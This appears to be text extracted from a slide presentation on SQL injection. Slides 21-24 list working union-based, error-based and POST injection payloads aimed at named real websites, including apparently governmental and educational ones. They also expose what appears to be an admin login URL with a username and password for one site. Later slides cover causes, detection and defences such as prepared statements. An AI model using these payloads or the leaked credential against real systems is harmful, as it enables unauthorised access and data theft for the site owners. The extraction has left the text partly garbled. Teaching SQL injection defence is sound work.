  21. 21. Union based attack  http://greenforce.com.pk/page.aspx?page_id=24 +UNION+ALL+SELECT+null,null,@@version,null,null,null,nul l-- -  http://www.philatourism.com/page.aspx?id=-3 UNION ALL SELECT table_name,null,null,null,null,null from information_schema.tables—  http://www.sharan.org.uk/newsdetail.aspx?ID=-7 union all select '1',null –  Code select * from tblName where id=‗‖+RequestQueryString[‗id‘]+‖‘;
  22. 22. Error Based Attack  http://www.vdjs.edu.in/CMS/ContentPage.aspx?id=21 and @@version>1-- -  http://www.mission-education.org/resourcelist.cfm?audience_ID=5 and 1=convert(int,@@version)-- -&category_id=2  http://www.grabbbit.com/Product.aspx?console_id=3' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='adminlogin' and column_name not in ('id','userid','password','admin_role_id')))--&type=Preown  http://www.grabbbit.com/admin/login.aspx  userid admin  password grabbbit$  Code  Select column1,column2,column3, from table1 join table2 on table1.column1 = table2.column1 where id=‗‖+RequestQueryString[‗id‘]+‖‘;
  23. 23. Blind Attack  fgcineplex.com.sg/Images/slideshow/sizzlings oul.php  Code well query is same here like union but problem is with labels here.. Their designer could are not picked.. Either they are also stored in database or they they cannot work with union
  24. 24. POST Sql Injection  url:  http://haryanapolice.gov.in/police/pressreleases/s earch.asp  Post  text1=rummy'&text2=11/11/2010&SUBMIT=search  Code select * from tablename where text1= Request.Form[―text1"].ToString() and text2= Request.Form[―text1"].ToString();
  25. 25. Why Sql Injection Possible  Who is responsible Database or Programmer  Why Not To Blame Database  Database Secure Nature  Lack of awareness  No research base study  Lack of interest  Non professional coders
  26. 26. Detection of SQL Injection  Manual Check  Why  How  By Whom  Automated Check  Tools  Scanners
  27. 27. Securing From SQL Injection  Learn About it  Firewalls  By Code  Don‘t Disclose any parameter as possible  Giving session user least possible rights  Blacklisting evil keywords for the session user  User input validation  Using prepared statements
  28. 28. More on Firewalls  USE Of Firewall  As it is  Customized  Buffer overflows  Null bytes  Difference between a normal user and Hacker
